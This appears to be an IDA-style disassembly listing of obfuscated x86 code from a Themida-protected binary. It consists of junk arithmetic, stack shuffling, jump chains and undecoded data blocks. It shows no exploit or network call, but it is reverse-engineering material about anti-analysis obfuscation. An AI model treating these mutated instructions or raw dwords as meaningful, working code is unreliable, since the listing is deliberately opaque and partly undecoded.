		jmp	loc_555BB9
; ---------------------------------------------------------------------------
		dw 8141h
		dd 102094C9h, 36E9817Fh, 5652EA15h, 673B27BEh, 5E6C140h
		dd 0B2D8EE81h, 0F12930F4h, 250CE9h, 395CBA00h, 0EAC119F5h
		dd 0B6F28103h, 0E9522A78h, 0FFFFF5ACh
; ---------------------------------------------------------------------------


loc_551930:				; CODE XREF: Themida_:0055C67Dj
		push	dword ptr [edi+eax*4]
		jmp	loc_5507EE
; ---------------------------------------------------------------------------
		dd offset dword_55C768
		dd 242C8900h, 680AE1BDh, 7C37E92Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55194A:				; CODE XREF: Themida_:00562783j
		jz	loc_552D8B
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	62Ah
		mov	[esp], eax
		push	4F7575FDh
		pop	eax
		shr	eax, 6
		sub	eax, 1
		and	eax, 4C8F21BAh
		push	ecx
		mov	ecx, 0FFF2FE72h
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_551E47
; ---------------------------------------------------------------------------
		align 2
aA2rpsZ		db 'À2RPZ',0
		db 0
; ---------------------------------------------------------------------------


loc_551995:				; CODE XREF: Themida_:00557124j
		push	ebp
		mov	ebp, esp
		jmp	loc_558839
; ---------------------------------------------------------------------------


loc_55199D:				; CODE XREF: Themida_:0055D3DAj
		pop	esp
		push	76F5h
		mov	[esp], ebx
		mov	ebx, 6557B6Ch
		shr	ebx, 3
		dec	ebx
		and	ebx, 1C6C6B11h
		jmp	loc_5527C8
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 5DDE4DE8h, 5E2434FFh, 8704C483h, 248B240Ch, 0C8B70F24h
		dd 3B7B68h, 240C8900h, 0FFEE11E9h, 0EE0CE9FFh, 0D1F7FFFFh
		dd 0E903E9C1h, 10256h, 0D0C7815Fh, 0E900AF52h, 134B5h
		dd 0A2BB5351h, 0F7438935h, 32BF57D3h, 215F4426h, 0EB815FFBh
		dd 18F5AA4Ch, 0E95BD989h, 293Ah, 535AD331h, 8F242C81h
		dd 0E9550342h, 3D10h
; ---------------------------------------------------------------------------


loc_551A28:				; CODE XREF: Themida_:0055C70Aj
		pop	ebx
		add	ebx, 0FD2E9A4Bh
		mov	edi, ebx
		pop	ebx
		shl	edi, 3
		add	edi, 1
		add	edi, 6337306Fh
		xor	edi, 7298DFAh
		sub	esi, edi
		pop	edi
		xor	esi, 20A26E41h
		jmp	loc_5583E8
; ---------------------------------------------------------------------------
		dw 489h
		dd 0ED94E924h, 0E781FFFFh, 1C635CA5h, 0E904EFC1h, 5D76h
; ---------------------------------------------------------------------------


loc_551A68:				; CODE XREF: Themida_:0055BCAAj
		push	esi
		push	ebp
		push	3214586Ch
		jmp	loc_55270D
; ---------------------------------------------------------------------------
		dd 4BFh, 0FEABE900h, 0BE560000h, 4, 0C84ED81h, 0F5017F7Ah
		dd 0C84C581h, 348B7F7Ah, 4C48324h, 109E950h, 89510000h
		dd 4C181E1h, 83000000h,	0C8704E9h, 24248B24h, 68240489h
		dd 294656B8h, 8BC53158h, 0C4812404h, 4,	34FFEE01h, 0C4815D24h
		dd 4, 0FC09E9h,	48BC300h, 0D0E95224h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551ADF:				; CODE XREF: Themida_:0055DDD2j
		add	esp, 4
		sub	eax, 4
		jmp	loc_555EFE
; ---------------------------------------------------------------------------
		dd 3FCCC381h, 0E3816FC4h, 43DE2E42h, 6856DBF7h,	95E0C852h
		dd 3897E95Eh, 8B660000h, 54572404h, 8B2434FFh, 0C483243Ch
		dd 89565204h, 9DC3E9E6h, 52680000h, 59008F17h, 0E8E9E981h
		dd 0CB89CCC0h, 5BDF0159h, 107E9h
		db 0
; ---------------------------------------------------------------------------


loc_551B35:				; CODE XREF: Themida_:00557E24j
		pop	esp
		mov	[esp], ebx
		push	42A63F0Dh
		jmp	loc_556144
; ---------------------------------------------------------------------------
		db 29h
		dd 0C78159CFh, 2038204Ah, 124D6E9h, 14F75100h, 0A1A1E924h
		dd 6AB80000h, 29500003h, 0C18158C1h, 0BEA3886h,	0E981F901h
		dd 0BEA3886h, 0B183E9h
		db 0
; ---------------------------------------------------------------------------


loc_551B75:				; CODE XREF: Themida_:00554F6Dj
		mov	esp, [esp]
		jmp	loc_556FD1
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 16h
		dd 5652817Eh, 0F3243481h, 0E960520Fh, 0BEE8h, 18529FBAh
		dd 0CFEDE912h, 1C890000h, 4E72BB24h, 12E96DCEh,	68000057h
		dd 55DFh, 0D0CEE9h, 0F0885000h,	77E9C388h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551BBB:				; CODE XREF: Themida_:0055DEF6j
		push	edi
		push	4DC9h
		mov	[esp], eax
		jmp	loc_557C51
; ---------------------------------------------------------------------------


loc_551BC9:				; CODE XREF: Themida_:00553AE5j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 37h
		jmp	loc_561C56
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0E95D0424h, 0FFFFFCB2h, 4EC81h, 6BE90000h, 0BEFFFFFAh
		dd 4, 0E95EF101h, 3DF5h, 4700AB8h, 58C78901h, 0E906EFC1h
		dd 982Ah
; ---------------------------------------------------------------------------


loc_551C08:				; CODE XREF: Themida_:00551F69j
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5562B4
; ---------------------------------------------------------------------------
		dd 0FFEBC9E9h, 5866FFh,	0BCC380F3h, 135B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_551C31:				; CODE XREF: Themida_:00564E47j
		pop	edx
		xor	dh, cl
		pop	ecx
		xor	bh, dh
		jmp	loc_559302
; ---------------------------------------------------------------------------
		dd 0D7E9F701h, 5FFFFFFBh, 3746E781h, 0EF810AE1h, 3FE70E0Fh
		dd 23F5EF81h, 67E9C81Ah, 5C000138h, 0E9241C89h,	0F5B1h
		dd 83FFC680h, 0F1E904ECh, 8900004Eh, 0BB532424h, 4, 4245C01h
		dd 0F4BAE9h, 24048700h,	4E68535Ch, 54000055h, 8324048Fh
		dd 8B042404h, 8950241Ch, 405E0h, 4050000h, 0E9000000h
		dd 5702h, 75CCCF81h, 0CF8136D2h, 6A292803h, 0A9C9E9h
		db 0
; ---------------------------------------------------------------------------


loc_551CB9:				; CODE XREF: Themida_:0055DA31j
		sub	ah, 6Ah
		push	0
		sub	[esp], ah
		mov	ah, [esp]
		jmp	loc_565160
; ---------------------------------------------------------------------------
aZiHz		db 'Zh{',0
		align 4
		dd 88241489h, 885153DEh, 59CF88F1h, 6D0B68h, 24148900h
		dd 4EC81h, 0C890000h, 12F7E924h, 15A0000h, 1C875DEBh, 8B665C24h
		dd 0A768240Ch, 8900005Ah, 5954240Ch, 4BA52h, 8DE90000h
		dd 5000007Ch, 0A66E67B8h, 9DB5BE12h, 0C6294BF1h, 8324048Bh
		dd 740104C4h, 815E0824h, 73042444h, 167945Eh, 8104245Ch
		dd 7304246Ch, 0E967945Eh, 0FFFFF809h, 6CE9D831h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551D4F:				; CODE XREF: Themida_:005563F2j
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_5587E3
; ---------------------------------------------------------------------------
		dw 3481h
		dd 0A269E824h, 2BF2E94Ch, 2A680000h, 89000071h,	70BA2414h
		dd 0E965D07Ch, 0A8CDh, 0E904EC83h, 0FFFFEB9Fh
; ---------------------------------------------------------------------------


loc_551D84:				; CODE XREF: Themida_:00564AB6j
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 475E3C41h
		sub	eax, ecx
		jmp	loc_558242
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 104C483h, 0A3BB53C8h, 0C1018113h, 0BF5705EBh
		dd 2F643C5Ah, 0C703E9h,	49D1F700h, 0FFFC25E9h, 4106BDFFh
		dd 89567CC7h, 0F28952EEh, 5E5AD389h, 3239E9h, 24148700h
		dd 241C895Ch, 42474FFh,	52241C8Bh, 0D9E9E289h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551DE7:				; CODE XREF: Themida_:00559998j
		pop	eax
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 24h
		add	edx, edi
		xor	[edx], esi
		pop	edx
		xor	esi, [edi+24h]
		jmp	loc_55A52A
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 80C32805h, 0B25205EBh, 15EB8045h, 0B252D328h, 5AD30015h
		dd 5937E9h, 0E9C8E900h,	0A6BFFFFFh, 81395718h, 162E9AC7h
		dd 0FFFE290Fh, 0F5E92434h, 8B000103h, 0C483240Ch, 0C3E95204h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551E47:				; CODE XREF: Themida_:00551984j
		add	esp, 4
		add	ecx, eax
		pop	eax
		jmp	loc_56413C
; ---------------------------------------------------------------------------


loc_551E55:				; CODE XREF: Themida_:00550FA1j
		sub	ebp, 875C91C1h
		mov	esi, ebp
		pop	ebp
		sub	edx, esi
		jmp	loc_56565F
; ---------------------------------------------------------------------------
		db 2Ch,	86h, 4
aYrsic		db 'yRiC',0
		db 0
; ---------------------------------------------------------------------------


loc_551E6F:				; CODE XREF: Themida_:0055FD16j
		mov	ebx, 152B6D78h
		xor	ebx, 0D676D1Bh
		neg	ebx
		and	ebx, 4A992E95h
		or	ebx, 1D913002h
		push	ebp
		mov	ebp, 66E611F6h
		neg	ebp
		not	ebp
		and	ebp, 76C2575Fh
		dec	ebp
		and	ebp, 4AAF22D5h
		add	ebp, 33A72950h
		add	ebx, ebp
		jmp	loc_5559A7
; ---------------------------------------------------------------------------
aISf		db '\,$',0
		dd 5DEB2900h, 8B241C87h, 1C892424h, 2E9BB24h, 7D686690h
		dd 89000046h, 8CBB241Ch, 811DB21Fh, 877541C3h, 0B850432Ch
		dd 2405B2Fh, 31485205h,	4BC0D5Ah, 0D8F71EE4h, 0A3CE6635h
		dd 58C3318Dh, 10B82E9h
		db 0
; ---------------------------------------------------------------------------


loc_551EF9:				; CODE XREF: Themida_:00557990j
		push	34491535h
		jmp	loc_558DFD
; ---------------------------------------------------------------------------
aFzsof		db 'fZO',0
		align 2
		dw 34FFh
		dd 89575924h, 4C781E7h,	50000000h, 0D531F6B8h, 6E8C125h
		dd 682EB951h, 18E93AF9h, 54FFFFF6h, 0E9240C8Bh,	1349h
; ---------------------------------------------------------------------------


loc_551F34:				; CODE XREF: Themida_:0056549Dj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_554B2D
; ---------------------------------------------------------------------------
		dw 0D366h
		dd 0E99C2424h, 0FFFFE89Ah
; ---------------------------------------------------------------------------


loc_551F54:				; CODE XREF: Themida_:0055F24Fj
		add	dword ptr [esp+4], 2C89364Ah
		push	edi
		mov	edi, 432E2E89h
		sub	[esp+8], edi
		mov	edi, [esp]
		jmp	loc_551C08
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 479E6F74h, 83241C8Bh, 2C3304C4h, 242C3124h, 5C242C33h
		dd 24042166h, 0E860E99Ch, 0EB29FFFFh, 81D3F75Dh, 446957C3h
		dd 0D970E93Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551F9E:				; CODE XREF: Themida_:00560EB1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_553EB4
; ---------------------------------------------------------------------------
		dd 48616C05h, 0A568566Dh, 0E9597D3Bh, 0E0F7h, 1B4499BAh
		dd 2ECE903h, 40B80000h,	2D000000h, 0DF57FA7h, 0AAE9F801h
		dd 0FF000102h, 0C8B2434h, 4C48124h, 83000000h, 0FB6804C4h
		dd 89000071h, 268241Ch,	5B000000h, 0A0BB5350h, 0E95FD53Dh
		dd 0ADF3h
; ---------------------------------------------------------------------------


loc_552000:				; CODE XREF: Themida_:005636B6j
		pop	edi
		add	ebp, edi
		jmp	loc_561EF1
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC81h, 34890000h, 68E68924h, 36EFh, 81242C89h
		dd 4ECh, 240C8900h, 6FED6852h, 148B057Dh, 4C48124h, 81000000h
		dd 94E64AC2h, 5AD1892Eh, 0EDA9CDBDh, 0E9CD01CBh, 9530h
		dd 0F4BDE956h, 1C8B0000h, 4C48324h, 4B850h, 0C2010000h
		dd 24148758h, 2C7835Ch,	31243C33h, 3C33243Ch, 24248B24h
		dd 9C240CD2h, 0FFE771E9h, 2A7EBAFFh, 0E2C109C8h, 5CC28107h
		dd 814DEFDBh, 0B345F7C3h, 81D30138h, 0B345F7EBh, 0C3015A38h
		dd 1A5CEB81h, 0C3813205h, 41EC5B26h, 3E18B951h,	0C3815F39h
		dd 580274Fh, 30E9CB29h,	5D000074h, 25CDC681h, 0B6E929A4h
		db 29h,	1, 0
; ---------------------------------------------------------------------------


loc_5520C7:				; CODE XREF: Themida_:00554605j
		sub	edx, 0F771E54Ch
		xor	ebp, edx
		pop	edx
		jmp	loc_55B2C3
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4EFh, 243C3300h, 33243C31h, 895C243Ch, 4BF243Ch
		dd 1000000h, 243C8BF9h,	8104C483h, 2C1h, 0E4B4E900h, 0E9580000h
		dd 0F120h, 777EAC68h, 2AECE950h, 5F540001h, 4C781h, 0C7830000h
		dd 7338E904h, 0EF810000h, 37F444D6h, 2FABBE56h,	0EE811A2Bh
		dd 436934A3h, 0FFF491E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55213D:				; CODE XREF: Themida_:00558DACj
		pop	dword ptr [esp]
		pop	esp
		push	79F8h
		mov	[esp], edi
		mov	edi, 0A776C60h
		dec	edi
		push	edi
		xchg	ebx, [esp]
		push	ebx
		push	ebp
		pop	ebx
		jmp	loc_5604C9
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C78103E7h, 1, 30F7E9h, 4CDE2D00h, 0ADE96D30h, 1000131h
		dd 0F8015EF0h, 8806A92Dh, 243C8B76h, 4C481h, 0F680000h
		dd 8900000Ah, 74FF2404h, 34FF0424h, 0DE71E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55219A:				; CODE XREF: Themida_:0055E66Ej
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_556121
; ---------------------------------------------------------------------------
		dd 8B243C33h, 4292424h,	37E99C24h, 80FFFFE6h, 92689BEBh
		dd 8900002Fh, 5954240Ch, 4C181h, 0E9810000h, 4,	5C240C87h
		dd 0C0A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5521D9:				; CODE XREF: Themida_:00550A31j
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_55F80E
; ---------------------------------------------------------------------------


loc_552207:				; CODE XREF: Themida_:0056083Dj
		push	7D1Ah
		mov	[esp], edx
		push	esp
		jmp	loc_55702F
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 4EC81h, 3C890000h, 1B21E924h, 0BF570001h, 1C46447Ch
		dd 172CE9h
		db 0
; ---------------------------------------------------------------------------


loc_552231:				; CODE XREF: Themida_:00550840j
		add	edx, ebp
		sub	edx, 52A67268h
		sub	edx, 1A453FE8h
		jmp	loc_552733
; ---------------------------------------------------------------------------
		dd 0D8885058h, 34FFC688h, 0C4835824h, 5CE95B04h, 52000085h
		dd 0C2E9E953h, 4330000h, 0A980E924h, 0F8010000h, 59BEE9h
		dd 0E2B05000h, 0D33BE9h
		db 0
; ---------------------------------------------------------------------------


loc_552275:				; CODE XREF: Themida_:00552370j
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 37F60054h
		sub	ebx, eax
		push	eax
		mov	eax, 37F60054h
		jmp	loc_5542F3
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 68h,	24142900h, 5624148Bh, 0C681E689h, 4, 86E2E950h
		dd 0B15B0000h, 5AFFE927h, 0E2C10000h, 5E2C104h,	0E9D0F792h
		dd 0EB4Bh, 33240431h, 0FF5C2404h, 0E520E930h, 34FFFFFFh
		dd 2434FF24h, 582434FFh, 5704C483h, 0E9E789h, 0F7000017h
		dd 68FE87D7h, 0F3Dh, 89241C89h,	90BE56E3h, 81132B25h, 0D4DA74C6h
		dd 0AB70E9ECh, 0D5010000h, 8124148Bh, 4C4h, 18D7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552312:				; CODE XREF: Themida_:005593C3j
		pop	esp
		jmp	loc_55B057
; ---------------------------------------------------------------------------


loc_552318:				; CODE XREF: Themida_:00556627j
		xchg	ebx, [esp]
		pop	esp
		push	7F06h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_564E59
; ---------------------------------------------------------------------------
aSe_0		db '\{',0
		align 2


loc_55233A:				; CODE XREF: Themida_:0055E88Ej
		sub	ebp, esi
		pop	esi
		pop	ecx
		jmp	loc_552C86
; ---------------------------------------------------------------------------


loc_552343:				; CODE XREF: Themida_:0055C6F6j
		pop	ebp
		add	esi, ecx
		pop	ecx
		jmp	loc_553118
; ---------------------------------------------------------------------------
		dd 4D5BDD29h, 2414F755h, 0E9242C8Bh, 8E33h
; ---------------------------------------------------------------------------


loc_55235C:				; CODE XREF: Themida_:00562DE4j
		xor	ebx, esi
		pop	esi
		sub	edx, 7F581C0Bh
		add	edx, ebx
		add	edx, 7F581C0Bh
		pop	ebx
		sub	ebx, edx
		jmp	loc_552275
; ---------------------------------------------------------------------------


loc_552375:				; CODE XREF: Themida_:00558CC3j
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_565170
; ---------------------------------------------------------------------------
		db 31h
		dd 2434FFD6h, 0EC0CE95Ah, 0EF810000h, 552720E7h, 5D2434FFh
		dd 11FB1E9h, 53286800h,	815D1DD5h, 0B20411C5h, 0F5814511h
		dd 44284169h, 555DE989h, 7C7CA7BDh, 0F7F5813Dh,	0E9387F1Eh
		dd 132A2h, 9788EE81h, 0F321C6A3h, 0F9BE565Eh, 0E9594419h
		dd 0FBCAh, 8904EC83h, 87E9241Ch, 540000EDh, 8124148Bh
		dd 4C4h, 4C28100h, 83000000h, 148704C2h, 26E95C24h
		db 1Fh,	1, 0
; ---------------------------------------------------------------------------


loc_552403:				; CODE XREF: Themida_:00555332j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55E17A
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 4
		dd 1C67E924h, 0C6800000h, 24048BB4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	dh, 9
		jmp	loc_55A1CD
; ---------------------------------------------------------------------------


loc_55243B:				; CODE XREF: Themida_:005511BAj
		mov	ecx, esp
		jmp	loc_560AEF
; ---------------------------------------------------------------------------


loc_552442:				; CODE XREF: Themida_:00563A32j
		pop	edx
		add	[esp+4], edx
		mov	edx, [esp]
		push	557Ah
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	eax
		jmp	loc_56013F
; ---------------------------------------------------------------------------
		dd 8904EC83h, 18BB241Ch, 0E954DC34h, 444Eh
; ---------------------------------------------------------------------------


loc_552488:				; CODE XREF: Themida_:00552E64j
		xchg	esi, [esp]
		jmp	loc_556B8C
; ---------------------------------------------------------------------------


loc_552490:				; CODE XREF: Themida_:0055AD50j
		push	ebx
		mov	ebx, 0A130DFAh
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_555C65
; ---------------------------------------------------------------------------


loc_5524A4:				; CODE XREF: Themida_:00560107j
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4AA35958h
		dec	ebx
		push	esi
		mov	esi, 28D3D3Fh
		add	esi, 0B9CEC2Ah
		xor	ebx, esi
		pop	esi
		dec	ebx
		jmp	loc_559E16
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 0B31642Eh, 0C101C383h, 0BEE903E3h, 81000013h, 0FA0F89EEh
		dd 0E494E92Bh, 14870000h, 0B8685C24h, 0E9000023h, 661Ah
		dd 1723C281h, 0D331B371h, 8BDF315Ah, 0C481241Ch, 4, 7C49832Dh
		dd 53F8017Ch, 7C4983BBh, 5BD8017Ch, 5F2434FFh, 4C481h
		dd 685D0000h, 7B8Eh, 0E9243489h, 893h, 8B240C87h, 32682424h
		dd 0E9000059h, 5268h
; ---------------------------------------------------------------------------


loc_55253C:				; CODE XREF: Themida_:0055DB52j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55D620
; ---------------------------------------------------------------------------
aI4S0t		db '4$0',0
		dd 4C48100h, 0FF000000h, 34FF2434h, 0C4835A24h,	73306804h
		dd 0C890000h, 53E18924h, 4BBh, 6FCEE900h, 0C4810000h, 4
		dd 0D0468h, 24048900h, 0BE06E9h, 75E95A00h, 3300012Ch
		dd 248B241Ch, 0C8B6624h, 17246824h, 0C890000h, 5206824h
		dd 0BB680000h, 0E9000066h, 7FFEh, 8704C083h, 835C2404h
		dd 2C8904ECh, 8C8DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5525CA:				; CODE XREF: Themida_:00564307j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_56015A
; ---------------------------------------------------------------------------


loc_5525D5:				; CODE XREF: Themida_:00553522j
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_563AEF
; ---------------------------------------------------------------------------
		align 4
		dd 2C5704D8h, 256866BCh, 1C89664Ah, 1FB06824h, 0E90000h
		dd 310000BFh, 34332434h, 7E97E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55261E:				; CODE XREF: Themida_:005606E1j
		push	4D9Eh
		mov	[esp], ecx
		jmp	loc_55A43A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 87000000h, 835C240Ch, 0C8904ECh, 444E924h
		dd 0C4830000h, 89515704h, 4C181E1h, 81000000h, 4E9h, 0C848E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55265E:				; CODE XREF: Themida_:0055FAB4j
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		jmp	loc_5598E6
; ---------------------------------------------------------------------------


loc_552668:				; CODE XREF: Themida_:00553795j
		mov	edi, esp
		jmp	loc_559DCE
; ---------------------------------------------------------------------------
aDJPRlh@sqq	db 'd+\PlH&@Q',0
		align 10h


loc_552680:				; CODE XREF: Themida_:005644A8j
		mov	ebx, 703E75ECh
		jmp	loc_5546A5
; ---------------------------------------------------------------------------
		dw 4BBAh
		dd 3149CC17h, 0E9895AD5h, 1528E95Dh, 34FF0001h,	243C8B24h
		dd 453DE953h, 0F7010000h, 1E42E95Eh, 48B0001h, 4C48124h
		dd 30000000h, 0F28059EAh, 5AD388EBh, 5266CBFEh,	0D3307DB2h
		dd 0C5E95A66h, 5A0000E9h, 5C243487h, 53243C8Bh,	3A4668h
		dd 24248900h, 4240481h,	0E9000000h, 1300Eh, 1A36E981h
		dd 0D9293142h, 1A36C181h, 335B3142h, 0C31240Ch,	5790E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552706:				; CODE XREF: Themida_:0055278Bj
		add	bl, al
		jmp	loc_5563E2
; ---------------------------------------------------------------------------


loc_55270D:				; CODE XREF: Themida_:00551A6Fj
		pop	ebp
		dec	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_565135
; ---------------------------------------------------------------------------
		db 5Fh,	31h, 0E8h
		dd 0FD57B95Dh, 0C10129F2h, 8324048Bh, 5FE904C4h
		db 0E2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552733:				; CODE XREF: Themida_:0055223Fj
		pop	ebp
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		jmp	loc_55AD55
; ---------------------------------------------------------------------------
		dd 0A49E957h, 0D8290001h, 5502055Bh, 0BDE9002Ah, 52FFFFE6h
		dd 80D9B551h, 0D5F6C4E5h, 0FE06E5C0h, 0ECC580C5h, 0D6D2E9h
		db 0
; ---------------------------------------------------------------------------


loc_552769:				; CODE XREF: Themida_:0055A392j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_5598BD
; ---------------------------------------------------------------------------
		dw 1368h
		dd 8900006Fh, 0E954240Ch, 0A698h
; ---------------------------------------------------------------------------


loc_552780:				; CODE XREF: Themida_:005636BEj
		mov	al, bl
		pop	ebx
		pop	ecx
		inc	al
		add	al, 1Bh
		sub	bl, al
		pop	eax
		jmp	loc_552706
; ---------------------------------------------------------------------------
		dd 7B18EF81h, 0DBE93CA1h, 0FF000014h, 58042474h, 5C24048Fh
		dd 34FF5453h, 0C4815B24h, 4, 4C381h, 0C3830000h, 241C8704h
		dd 3124248Bh, 0E99C2404h, 0FFFFE026h
; ---------------------------------------------------------------------------


loc_5527C8:				; CODE XREF: Themida_:005519B5j
		shl	ebx, 5
		sub	ebx, 0DF073966h
		add	edx, ebx
		jmp	loc_5635CB
; ---------------------------------------------------------------------------


loc_5527D8:				; CODE XREF: Themida_:00553F47j
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ecx, 653C68B3h
		jmp	loc_554554
; ---------------------------------------------------------------------------


loc_5527F6:				; CODE XREF: Themida_:00550E3Fj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		push	esp
		jmp	loc_55B4CA
; ---------------------------------------------------------------------------


loc_552806:				; CODE XREF: Themida_:0055BDB6j
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_557CAE
; ---------------------------------------------------------------------------


loc_552816:				; CODE XREF: Themida_:005584ACj
		mov	edx, 6A544666h
		mov	ebx, 95ABB99Bh
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_560B50
; ---------------------------------------------------------------------------
		dd 0EF091DBBh, 51DBF752h, 32583BB9h, 0A4E9813Eh, 0E92EF745h
		dd 0B631h, 28E2C280h, 24148BD0h, 8290E9h
		db 0
; ---------------------------------------------------------------------------


loc_552859:				; CODE XREF: Themida_:005620DFj
		add	ebx, esi
		sub	ebx, 0E2E01FCh
		add	ebx, 63AB7105h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5655E4
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 74FF5604h, 348B0424h, 4C48324h, 56CE9h, 0E9505C00h
		dd 81DCh, 55240489h, 381580BDh,	52E95151h, 68000080h, 627Dh
		dd 0FF240489h, 48B2434h, 4EC8124h, 89000000h, 0E9542404h
		dd 737Ah, 7F4E68h, 240C8900h, 0FFDF29E9h, 896850FFh, 0E9420E37h
		dd 0A73Eh, 240C8766h, 66D1F766h, 0F2B3E951h, 67680000h
		dd 89000027h, 0B450240Ch, 0D0CBB564h, 816FE9EDh, 8B660000h
		dd 37E9240Ch, 0FF00000Ah, 48B2434h, 0A256E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552906:				; CODE XREF: Themida_:00556D77j
		mov	edx, 3C7946AFh
		sub	edx, 5DAB4C9Fh
		add	edx, 2B263D18h
		sub	edx, 69500593h
		xor	edx, 14680312h
		sub	eax, edx
		pop	edx
		xor	ecx, eax
		pop	eax
		sub	ebx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, 11F032FCh
		jmp	loc_55CE40
; ---------------------------------------------------------------------------
aXsei		db 'X饩',0
		align 2
a_s		db '_,',27h,0
		align 4
		dd 3124248Bh, 0A5E92404h, 31000076h, 0F68159CEh, 3E64036Ch
		dd 0FFF20CE9h, 0CD8166FFh, 81661F0Dh, 6617D3C5h, 51BBC581h
		dd 5DEA2966h, 5AD58966h, 12A9DE9h, 4C48100h, 56000000h
		dd 27E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_552999:				; CODE XREF: Themida_:005557F7j
		inc	ebp
		add	ebp, 0B589E1E4h
		jmp	loc_55C6F4
; ---------------------------------------------------------------------------
		db 83h,	0E9h, 4
		dd 0E9240C87h, 0CABDh, 31243C33h, 7CE9243Ch, 8B0000A3h
		dd 0E950240Ch, 10FF7h
; ---------------------------------------------------------------------------


loc_5529C4:				; CODE XREF: Themida_:00558EFDj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_558AAD
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 13D8E924h, 0FD890001h, 1702E95Fh, 34FF0001h,	68505924h
		dd 3643h, 0E9242489h, 749Bh, 83242C8Bh,	0EC8104C4h, 4
		dd 0B8240489h, 18DF6C9Eh, 9E10E9h, 4E0C100h, 0DD1F312Dh
		dd 1C573522h, 0C501A497h, 0C1ACE958h, 61680000h, 89000065h
